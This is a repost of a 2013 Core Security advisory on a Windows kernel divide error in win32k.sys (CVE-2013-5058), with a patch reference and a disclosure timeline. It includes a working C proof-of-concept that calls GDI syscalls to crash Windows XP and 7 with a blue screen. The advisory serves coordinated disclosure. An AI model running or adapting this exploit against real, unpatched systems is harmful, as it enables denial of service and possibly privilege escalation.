Message-ID: <52A8E8FC.8050601@coresecurity.com>
Date: Wed, 11 Dec 2013 19:36:44 -0300
From: CORE Advisories Team <advisories@...esecurity.com>
To: full-disclosure <full-disclosure@...ts.grok.org.uk>, bugtraq
 <bugtraq@...urityfocus.com>
Subject: Re: CORE-2013-0807 - Divide Error in Windows
	Kernel



Advisory URL:
http://www.coresecurity.com/advisories/divide-error-windows-kernel




On 11/12/2013 06:38 p.m., CORE Advisories Team wrote:
> Core Security - Corelabs Advisory
> http://corelabs.coresecurity.com/
> 
> Divide Error in Windows Kernel
> 
> 
> 1. *Advisory Information*
> 
> Title: Divide Error in Windows Kernel
> Advisory ID: CORE-2013-0807
> Advisory URL:
> http://www.coresecurity.com/advisories/divide-error-in-windows-kernel
> Date published: 2013-12-11
> Date of last update: 2013-12-11
> Vendors contacted: Microsoft
> Release mode: Coordinated release
> 
> 
> 2. *Vulnerability Information*
> 
> Class: Integer overflow [CWE-190]
> Impact: Denial of service
> Remotely Exploitable: No
> Locally Exploitable: Yes
> CVE Name: CVE-2013-5058
> 
> 
> 3. *Vulnerability Description*
> 
> Windows kernel is prone to a security vulnerability when executing the
> (GDI support) function 'RFONTOBJ::bTextExtent' located in 'win32k.sys'.
> This vulnerability could be exploited by an attacker to crash the
> windows kernel by calling the user mode function 'NtGdiGetTextExtent'
> with specially crafted arguments.
> 
> Microsoft notifies that this vulnerability may allow Elevation of
> Privilege attacks but did not provide further technical details.
> 
> 
> 4. *Vendor Information, Solutions and Workarounds*
> 
> For additional information regarding affected versions, non-affected
> versions, fixes and official patches please visit:
> 
>    . Microsoft Security Bulletin MS13-101 -
> https://technet.microsoft.com/en-us/security/bulletin/ms13-101.
>    . Description of the security update for Windows kernel-mode drivers
> - http://support.microsoft.com/kb/2893984
> 
> 
> 5. *Credits*
> 
> This vulnerability was discovered and researched by Nicolas Economou
> from Core Exploit Writers Team. The publication of this advisory was
> coordinated by Fernando Miranda from Core Advisories Team.
> 
> 
> 6. *Technical Description / Proof of Concept Code*
> 
> The vulnerable function is 'RFONTOBJ::bTextExtent', located in the
> Windows kernel driver 'win32k.sys'. The way to call this function from
> user mode is calling the function 'NtGdiGetTextExtent'.
> 
> The bug takes place when performing a signed division 'IDIV', the result
> does not fit in the destination and the kernel raises an 'INTEGER
> OVERFLOW' exception.
> 
> 
> 6.1. *Proof of Concept*
> 
> The following PoC was compiled in VS2012 and tested against Windows XP
> and Windows 7, and it allows reproducing the vulnerability. By running
> this PoC the affected OS will crash into a blue screen.
> 
> 
> /-----
> # include <windows.h>
> # include <stdio.h>
> 
> __declspec (naked) int _NtGdiSetTextJustification (HDC v1, int extra,
> int count)
> {
>     // Windows XP
>     __asm mov eax,0x111e  
>     __asm mov edx,0x7ffe0300
>     __asm call dword ptr [edx]
>     __asm ret 0x0c
> }
> 
> __declspec (naked) int _NtGdiGetTextExtent (HDC v1, int v2, int v3, int
> v4, int v5)
> {
>     // Windows XP
>     __asm mov eax,0x10cc  
>     __asm mov edx,0x7ffe0300
>     __asm call dword ptr [edx]
>     __asm ret 0x14
> }
> 
> __declspec (naked) int _NtGdiSetTextJustification_W7 (HDC v1, int extra,
> int count)
> {
>     // Windows 7
>     __asm mov eax,0x1129  
>     __asm mov edx,0x7ffe0300
>     __asm call dword ptr [edx]
>     __asm ret 0x0c
> }
> 
> 
> __declspec (naked) int _NtGdiGetTextExtent_W7 (HDC v1, int v2, int v3,
> int v4, int v5)
> {
>     // Windows 7
>     __asm mov eax,0x10D6  
>     __asm mov edx,0x7ffe0300
>     __asm call dword ptr [edx]
>     __asm ret 0x14
> }
> 
> 
> int main ()
> {
>     char buffer [4096];
>     OSVERSIONINFO v;
>     HDC hdc;
> 
>     memset(buffer, 0, 4096);
>     /* Obtaining the OS version */
>     memset(&v, 0, sizeof(v));
>     v.dwOSVersionInfoSize = sizeof(v);
>     GetVersionEx(&v);
>     hdc = CreateCompatibleDC(NULL);
>     /* If it's Windows XP */
>     if ((v.dwMajorVersion == 5) && (v.dwMinorVersion == 1))
>     {
>         _NtGdiSetTextJustification(hdc, 0x08000000, 0xffffffff);
>         _NtGdiGetTextExtent(hdc, (int) buffer, 0x11, 0x44444444,
> 0x55555555);
>     }
>     /* If it's Windows 7 */
>     else if ((v.dwMajorVersion == 6) && (v.dwMinorVersion == 1))
>     {
>         _NtGdiSetTextJustification_W7(hdc, 0x08000000, 0xffffffff);
>         _NtGdiGetTextExtent_W7(hdc, (int) buffer, 0x11, 0x44444444,
> 0x55555555);
>     }
>     else
>     {
>         printf("unsupported OS\n");
>     }
>     return 0;
> }  
> 
> -----/
> 
> 
> 7. *Report Timeline*
> 
> . 2013-08-12:
> Core Security Technologies notifies the MSRC of the vulnerability.
> Publication date is set for Sep 3rd, 2013.
> 
> . 2013-08-12:
> MSRC acknowledges the receipt of the information and opens the case
> 15304 for this issue.
> 
> . 2013-09-02:
> Core asks for a status update.
> 
> . 2013-09-02:
> MSRC confirms that they have reproduced the issue as reported and asks
> to postpone the publication of technical details until an upcoming
> security update.
> 
> . 2013-09-02:
> Core asks for an estimated release date.
> 
> . 2013-09-03:
> First release date missed.
> 
> . 2013-09-08:
> MSRC notifies that they are still investigating the root cause of this
> issue and that they will send an update when begin developing a fix.
> 
> . 2013-09-09:
> Core notifies that the advisory publication was tentatively re-scheduled
> for October 8th, 2013.
> 
> . 2013-10-08:
> Second release date missed.
> 
> . 2013-10-15:
> Core asks for a status update.
> 
> . 2013-10-16:
> MSRC notifies that they have reproduced the issue; however, they are
> still performing the standard variant investigation and fuzzing to
> ensure a complete fix for the issue.
> 
> . 2013-11-04:
> MSRC notifies that they have completed the investigation and are
> currently developing a fix. Typically, developing and testing a fix is a
> process that takes at least 30 days.
> 
> . 2013-11-14:
> MSRC notifies that they are currently testing a fix for this issue.
> 
> . 2013-11-26:
> Core re-schedules the advisory publication for Dec 16th.
> 
> . 2013-12-10:
> MSRC releases the Security Bulletin MS13-101 [1], [2] for this
> vulnerability without notify Core.
> 
> . 2013-12-11:
> Advisory CORE-2013-0807 published.
> 
> 
> 8. *References*
> 
> [1] Microsoft Security Bulletin MS13-101,
> https://technet.microsoft.com/en-us/security/bulletin/ms13-101.
> [2] Description of the security update for Windows kernel-mode drivers,
> http://support.microsoft.com/kb/2893984.
> 
> 
> 9. *About CoreLabs*
> 
> CoreLabs, the research center of Core Security Technologies, is charged
> with anticipating the future needs and requirements for information
> security technologies. We conduct our research in several important
> areas of computer security including system vulnerabilities, cyber
> attack planning and simulation, source code auditing, and cryptography.
> Our results include problem formalization, identification of
> vulnerabilities, novel solutions and prototypes for new technologies.
> CoreLabs regularly publishes security advisories, technical papers,
> project information and shared software tools for public use at:
> http://corelabs.coresecurity.com.
> 
> 
> 10. *About Core Security Technologies*
> 
> Core Security Technologies enables organizations to get ahead of threats
> with security test and measurement solutions that continuously identify
> and demonstrate real-world exposures to their most critical assets. Our
> customers can gain real visibility into their security standing, real
> validation of their security controls, and real metrics to more
> effectively secure their organizations.
> 
> Core Security's software solutions build on over a decade of trusted
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> Consulting Services, CoreLabs and Engineering groups. Core Security
> Technologies can be reached at +1 (617) 399-6980 or on the Web at:
> http://www.coresecurity.com.
> 
> 
> 11. *Disclaimer*
> 
> The contents of this advisory are copyright (c) 2013 Core Security
> Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
> Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
> License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
> 
> 
> 12. *PGP/GPG Keys*
> 
> This advisory has been signed with the GPG key of Core Security
> Technologies advisories team, which is available for download at
> http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
> 
> 


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